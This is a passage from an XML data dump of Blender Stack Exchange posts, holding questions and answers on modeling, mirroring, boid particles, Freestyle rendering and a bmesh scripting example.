axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the centerline of your object is aligned with, or parallel to the global X axis, and you want to trim it along the global Y axis, then change the X in the above sequences to Y.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it happens that the centerline of your object is not aligned with, or parallel to either the global X or global Y axis, you can move the selected vertices relative to the local X or local Y axes defined for the object itself by pressing the appropriate key twice. So, to move the selected vertices in a positive direction along the local X axis, the keypress sequence would be&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;kbd&gt;G&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt; &lt;kbd&gt;.&lt;/kbd&gt; &lt;kbd&gt;0&lt;/kbd&gt; &lt;kbd&gt;0&lt;/kbd&gt; &lt;kbd&gt;1&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This technique does not affect any but the selected vertices, unless you have proportional editing enabled. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-12-17T03:42:50.900" LastActivityDate="2015-12-17T03:42:50.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18082" PostTypeId="2" ParentId="18076" CreationDate="2014-10-22T19:10:50.907" Score="6" Body="&lt;p&gt;I'm fairly certain that Freestyle is a post-process type of render which means that when it happens it's more like what happens in the Compositor or Photoshop/Gimp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though the depth buffer can be captured as a flat image to help with 3D reconstruction, &#xA;when you add detail to a flat rendered image like this, there is no information available for the parts of the model which are not seen by the camera.(back-facing)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as a post-process, Freestyle can add lines to the edges of model but only so far as those edges are viewable by the camera that was used for the render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We cannot: &#xA;(i)   take a picture of a giraffe using a camera, &#xA;(ii)  print the photo, &#xA;(iii) and then turn the photo around to see the reverse side of the subject in a 2D picture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far as Freestyle is concerned, the Cycles/BI Render is a 2D picture.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if Freestyle was run after a Cycles bake job; &#xA;it would still only be run after the texture bake has completed; just as it only runs after a camera render has taken place. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's post-process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, you can duplicate your model then add a Wireframe Modifier.  Selectively delete geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SActh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add an Emission Shader to the wireframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9eUxr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now bake, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HaE4c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to bake an Emission Mask so that a GLSL shader won't overwrite the glowing areas with Directional lighting.&lt;br&gt;&#xA;Just make the model'White'(1.0,1.0,1.0) and make the Sky solid Black&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pl12O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Blender Render(Internal) Settings for masks like this can be found in the Textures Tab next to Materials.  Various game engines can make use of masks in a similar way.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just make sure to add the Mask as the 4th channel(alpha) for Blender or else it may not be used by Emit, Specular, Exponent, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fMM3G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would like the baked lines to be black instead of Emission, then just use a regular Diffuse Material and the Shadows/Occlusion should make the lines black.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-08-04T05:19:57.347" LastActivityDate="2015-08-04T05:19:57.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18084" PostTypeId="1" AcceptedAnswerId="18088" CreationDate="2014-10-22T19:51:06.760" Score="3" ViewCount="1739" Body="&lt;p&gt;In the Boid Brain there is a option called 'Fight' so how do I set up a scene where two groups of Boids fight each other? Or am I misunderstanding something here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a link for a tutorial that would be good.&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="58" LastEditDate="2014-10-22T20:15:14.377" LastActivityDate="2014-10-22T20:57:17.500" Title="How do I get Particle Boids to fight each other?" Tags="&lt;particles&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18085" PostTypeId="2" ParentId="16045" CreationDate="2014-10-22T20:11:15.067" Score="7" Body="&lt;p&gt;Here is a picture of my scene.&lt;br&gt;&#xA;The important parts the door, the door knob and the empty.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0QcON.png&quot; alt=&quot;door&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I parented the door knob to the door. Select door knob then select door and press &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;P&lt;/kbd&gt; &gt; &lt;em&gt;Object&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I placed a empty at the location where the door hinge would be. Now parent the door to the empty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The empty is now the controlling object for the door. Rotate the empty along the Z axis and the door and door knob will follow. You can lock the location, scale, and all rotation axes except for the Z axis of the empty. I added a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Transform/Limit_Rotation&quot; rel=&quot;noreferrer&quot;&gt;Limit Rotation&lt;/a&gt; Constraint, so the door can't open into the wall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I'm rotating the empty along the Z axis (note that the door does not open out even when rotated with positive numbers, because of the constraint.)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sqH5C.gif&quot; alt=&quot;animation of door rotating&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-10-22T20:11:15.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18086" PostTypeId="2" ParentId="16070" CreationDate="2014-10-22T20:19:35.653" Score="2" Body="&lt;p&gt;There are a few spots with odd topology, which seem to be around the places where the UV map is behaving strangely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; to select non-manifold topology. Ideally &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; won't select anything, but in your file there are some interior faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2QUOC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And some zero length faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dF4o9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try cleaning these places up a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from that, placing seam around the trigger seems to help a bit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TpmCp.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/7HGs4.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-22T20:24:47.300" LastActivityDate="2014-10-22T20:24:47.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18087" PostTypeId="2" ParentId="18084" CreationDate="2014-10-22T20:41:17.877" Score="2" Body="&lt;p&gt;You need to define at least 2 particle systems with a relation &lt;em&gt;enemy&lt;/em&gt; to each other, you can define attributes like strength (this will statistically decide who wins [particle disappears when defeated]). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could add &lt;em&gt;Follow Leader&lt;/em&gt; to the boids brain and animate the leader, this would make the particles follow the leader (creates nice formations). There're so many options you need to play around and develop an idea of how it should like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1qulE.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the physics settings make sure you checked &lt;em&gt;Allow Flight&lt;/em&gt; or restrict them to land.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Edree.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I stopped playing with this because I wasn't able to create explosions when a particle dies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2vYMP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-10-22T20:55:33.050" LastActivityDate="2014-10-22T20:55:33.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18088" PostTypeId="2" ParentId="18084" CreationDate="2014-10-22T20:42:33.303" Score="2" Body="&lt;p&gt;Yes, you can make groups of boid particles fight.&lt;/p&gt;&#xA;&lt;p&gt;For a basic setup:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add two emitters with separate particle systems.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set each particle system as the enemy of the other, and with fighting as a priority:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ptSGg.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/RightUnrulyGodwit&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://giant.gfycat.com/RightUnrulyGodwit.gif&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Also see the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles/Physics/Boids#Battle&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; for more info.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-10-22T20:57:17.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18089" PostTypeId="1" CreationDate="2014-10-22T21:00:55.407" Score="2" ViewCount="433" Body="&lt;p&gt;&lt;em&gt;I started a discussion here, but no working answers: &lt;a href=&quot;https://plus.google.com/107174506890941499078/posts/CaRqhDhpt5o&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Freezes&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded blender-2.72-linux-glibc211-x86_64 from blender.org/download for Ubuntu. I extracted using the default archive extractor that ships with Ubuntu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My hardware is, Intel i7, 8 Gig Ram, Graphics Intel Haswell Mobile, OS Type 64 bit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Nouveau display driver from x-org server. However, additional drivers indicate I have some nvidia drivers available to switch. Switching to any of them still makes blender crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8pNnw.png&quot; alt=&quot;Drivers in additional settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not even able to kill the blender process when it freezes. The only way to stop it from running is logging out or restarting. Using kill processes from terminal or System monitor doesn't kill blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All applications run normal, except Blender which freezes totally, and Google Chrome which freezes for some 4 minutes after starting it, but it comes back to normal and I'm able to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender never recovers itself from the crash. Plus, I even tried running blender from terminal, to see if I'll be able to learn what happens, but I never get anything after the app crashes, and no logs as to what happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any assistance will be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1166" LastEditorUserId="599" LastEditDate="2014-10-22T21:12:57.860" LastActivityDate="2014-10-22T21:12:57.860" Title="Blender freezes just after opening" Tags="&lt;performance&gt;&lt;linux&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2014-10-22T21:20:20.527" ContentLicense="CC BY-SA 3.0" />
  <row Id="18090" PostTypeId="2" ParentId="17815" CreationDate="2014-10-22T21:21:51.870" Score="1" Body="&lt;p&gt;No, it's currently not possible. To &quot;rotate&quot; a texture, you actually rotate it's mapping, so it must be done before hand.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-10-22T21:21:51.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18091" PostTypeId="1" CreationDate="2014-10-22T21:44:47.113" Score="1" ViewCount="56" Body="&lt;p&gt;I'm making a material (cycles) for a mountain :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/auNNq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to add some grass (hair) in the green zone. Is it possible (if so, how) to do that by using the green part ?&lt;/p&gt;&#xA;" OwnerUserId="6220" LastActivityDate="2014-10-22T21:44:47.113" Title="is it possible (if so, how) to use a part of a material applied to a mesh as emitter?" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;&lt;shaders&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18092" PostTypeId="1" CreationDate="2014-10-22T21:53:11.073" Score="0" ViewCount="808" Body="&lt;p&gt;I am trying to script some object manipulation using the bmesh module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;During steps of this scripting I would like to be able to use the &lt;code&gt;closest_point_on_mesh&lt;/code&gt; function. However I get unexpected results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A minimal working example looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from mathutils import Vector&#xA;&#xA;&#xA;bpy.ops.mesh.primitive_ico_sphere_add(&#xA;  subdivisions=1,&#xA;  size=1,&#xA;  location=(0,0,0))&#xA;&#xA;bpy.ops.object.select_pattern(pattern='Icosphere')&#xA;&#xA;obj = bpy.context.active_object&#xA;bpy.ops.object.mode_set(mode='EDIT')&#xA;&#xA;bm = bmesh.new()&#xA;bm.from_mesh(obj.data)&#xA;&#xA;# do some stuff to the bmesh&#xA;&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;bm.to_mesh(obj.data)&#xA;&#xA;# get a face for testing&#xA;face = bm.faces[0]&#xA;&#xA;# getting the &quot;middle&quot; of the face&#xA;xyz = Vector((0,0,0))&#xA;for v in face.verts:&#xA;  xyz += v.co/3&#xA;&#xA;# the middle of the face&#xA;print(xyz,'xyz')&#xA;&#xA;location,normal,index = obj.closest_point_on_mesh(xyz)&#xA;&#xA;# prints 0,0,0. expected the same as xyz three lines above&#xA;print(location,'location')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I expect the value of location to be the same as (or close to) the value of xyz, but it prints 0,0,0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? Is there a better way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="7633" LastActivityDate="2014-10-22T21:53:11.073" Title="Using closest_point_on_mesh on object manipulated as bmesh" Tags="&lt;scripting&gt;&lt;bmesh&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18093" PostTypeId="2" ParentId="18074" CreationDate="2014-10-22T22:14:59.690" Score="1" Body="&lt;p&gt;I managed to solve the problem by using the shrinkwrap modifier on the bezier so it followed the terrain, then I simply applied the road section to the bezier using the array and curve modifiers.&#xA;Set the bezier twisting setting to 'Z-Up'.&#xA;It was necessary to hit 'apply' to the shrinkwrap modifier on the bezier, otherwise the road simply followed it in 2D.&#xA;I hope that helps someone.&lt;/p&gt;&#xA;" OwnerUserId="7627" LastActivityDate="2014-10-22T22:14:59.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18094" PostTypeId="2" ParentId="8772" CreationDate="2014-10-22T22:19:15.203" Score="3" Body="&lt;p&gt;In order to help refine your searches for how to do simulations/animations, here are a few tips and key-words to help you on your way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For sea-weed, you could start by adding a plane and then also adding a particle system to the plane.&#xA;Here I used mostly default settings with the few differences visible in the attached image.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CWa3j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I added a Force Field-&gt; Turbulance and animated it's position using two keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9c9mZ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also substitute each 'Hair' with a model that is on a separate layer using the following setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gwWer.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-10-22T22:27:33.770" LastActivityDate="2014-10-22T22:27:33.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18096" PostTypeId="1" CreationDate="2014-10-22T23:34:08.743" Score="4" ViewCount="798" Body="&lt;p&gt;I was wondering if someone could explain me why blender is not saving images when I save the project?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that this is treated as external data and it's not really big deal to save it manually but consider case where you don't know the program well.&#xA;Normally like in all other programs, when you save a project you expect that it's going to look exact the same when you load it again but in blender you could have a Big surprise especially when you spent few hours on it. &#xA;And even if you are experienced user you could forget to save it and little mistake can lead to waste much of your time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware of this topic &lt;a href=&quot;https://blender.stackexchange.com/questions/13407/auto-save-images-along-with-blend&quot;&gt;Auto save images along with .blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm asking why is Blender behaving in such way. It don't seem hard to program such thing so it must be a matter of choice which i can't understand but even a simple warning will be very helpfull.&lt;/p&gt;&#xA;" OwnerUserId="7635" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-11-06T07:49:24.740" Title="Why blender is not saving used Images" Tags="&lt;image&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18097" PostTypeId="1" AcceptedAnswerId="18100" CreationDate="2014-10-23T00:14:15.177" Score="5" ViewCount="2281" Body="&lt;p&gt;How would you mirror an object across both the x and y planes?&lt;/p&gt;&#xA;&lt;p&gt;If you try and mirror them, you get a heart like shape:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wWqAd.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;General idea of the shape I am trying to make.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T95oQ.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;How could you mirror this object, but do so in a way that makes the curve bend the opposite direction?&lt;/p&gt;&#xA;&lt;p&gt;Blender file located here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/460997/Blender/curve%20_test.blend&quot; rel=&quot;noreferrer&quot;&gt;https://dl.dropboxusercontent.com/u/460997/Blender/curve%20_test.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1026" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-10-23T01:30:29.977" Title="How do you mirror and invert at the same time?" Tags="&lt;mirror&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18098" PostTypeId="2" ParentId="18097" CreationDate="2014-10-23T00:34:06.333" Score="4" Body="&lt;p&gt;Unfortunately, the mirror modifier can't so this as it creates copies of the object for each axis you tick instead of just transforming it but this is easily done with the &lt;em&gt;Interactive Mirror&lt;/em&gt; tool (&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;M&lt;/kbd&gt;) or from the &lt;em&gt;3d view&lt;/em&gt; header, &lt;em&gt;Object &gt; Mirror &gt; Interactive Mirror&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply duplicate the half of the mesh you want to mirror and use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; + &lt;kbd&gt;X&lt;/kbd&gt;to mirror it on the &lt;em&gt;X axis&lt;/em&gt;, then without deselecting, mirror it again but this time on the &lt;em&gt;Y axis&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1f1H2.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only disadvantage as compared to the modifier is that if you update one side, you will have to perform the mirror operations again (this can be avoided if you link both object's &lt;em&gt;Mesh Data&lt;/em&gt; with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; &lt;em&gt;&gt; Object Data&lt;/em&gt; but adds unnecessary complexity IMO). Also, as per &lt;a href=&quot;https://blender.stackexchange.com/q/1093/12&quot;&gt;Understanding mirroring and inverting an object&lt;/a&gt;, you will have to recalculate the normals if you perform this operation in &lt;em&gt;Edit&lt;/em&gt; mode.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2014-10-23T01:05:35.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18100" PostTypeId="2" ParentId="18097" CreationDate="2014-10-23T01:12:51.387" Score="4" Body="&lt;p&gt;You can also use an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Array&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Array modifier&lt;/em&gt;&lt;/a&gt; to do this.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an array modifier to your object, disable &lt;em&gt;Relative Offset&lt;/em&gt; and enable &lt;em&gt;Merge&lt;/em&gt; and &lt;em&gt;Object Offset&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Snap the 3D cursor to the active object's origin by pressing &lt;kbd&gt;⇧ Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&amp;gt; Cursor to selected&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an empty (&lt;kbd&gt;⇧ Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Empty&lt;/em&gt;) and rotate it 180° around the Z axis (&lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;180&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the empty as object offset in the array modifier (a quick way to do this is by pressing &lt;kbd&gt;E&lt;/kbd&gt; while hovering over the object field and then clicking on the empty):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MecjQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The nice thing about this is that changes to one side will update the other side in real time:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5R1Em.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-10-23T01:30:29.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18101" PostTypeId="1" AcceptedAnswerId="18109" CreationDate="2014-10-23T03:00:53.437" Score="3" ViewCount="154" Body="&lt;p&gt;How can I make the base of the pyramid coplanar to (smooshed up against, so they are flat against each other) the slanted face of the wedge (pictured below)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f0NI9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The objects and their origins need to stay the same.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If all of the pictured geometry were part of one object, and #1 was not a requirement, how could this be achieved? (If this were a mesh level transformation instead of an object level transformation)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="417" LastEditorUserId="599" LastEditDate="2014-10-23T06:43:09.127" LastActivityDate="2014-10-23T07:19:34.050" Title="Smooshing faces against each other: Making features coplanar, while preserving surrounding geometry" Tags="&lt;modeling&gt;&lt;transforms&gt;&lt;geometry&gt;&lt;snapping&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18102" PostTypeId="1" AcceptedAnswerId="18108" CreationDate="2014-10-23T03:11:01.147" Score="1" ViewCount="1007" Body="&lt;p&gt;How can I make the leading edge of the left wedge collinear with (so that the edges lie within the same line) the leading edge of the right wedge (pictured below, edges highlighted)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bO1uq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The objects and their origins need to stay the same.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If all of the pictured geometry were part of one object, and #1 was not a requirement, how could this be achieved? (If this were a mesh level transformation instead of an object level transformation)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="417" LastEditorUserId="599" LastEditDate="2014-10-23T06:42:25.603" LastActivityDate="2014-10-23T07:03:35.883" Title="Lining edges up: Make features collinear, preserving surrounding geometry" Tags="&lt;modeling&gt;&lt;transforms&gt;&lt;geometry&gt;&lt;snapping&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18103" PostTypeId="1" AcceptedAnswerId="18107" CreationDate="2014-10-23T03:23:31.133" Score="1" ViewCount="394" Body="&lt;p&gt;How can I move the tip of the pyramid so that it sits at the top of Suzanne's ear (pictured below, the noted point is highlighted)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8UsOS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The objects and their origins need to stay the same.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If all of the pictured geometry were part of one object, and #1 was not a requirement, how could this be achieved? (If this were a mesh level transformation instead of an object level transformation)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="417" LastEditorUserId="599" LastEditDate="2014-10-23T06:41:55.527" LastActivityDate="2014-10-23T06:47:45.337" Title="Matching point locations: Relative translation, preserving surrounding geometry" Tags="&lt;modeling&gt;&lt;geometry&gt;&lt;snapping&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
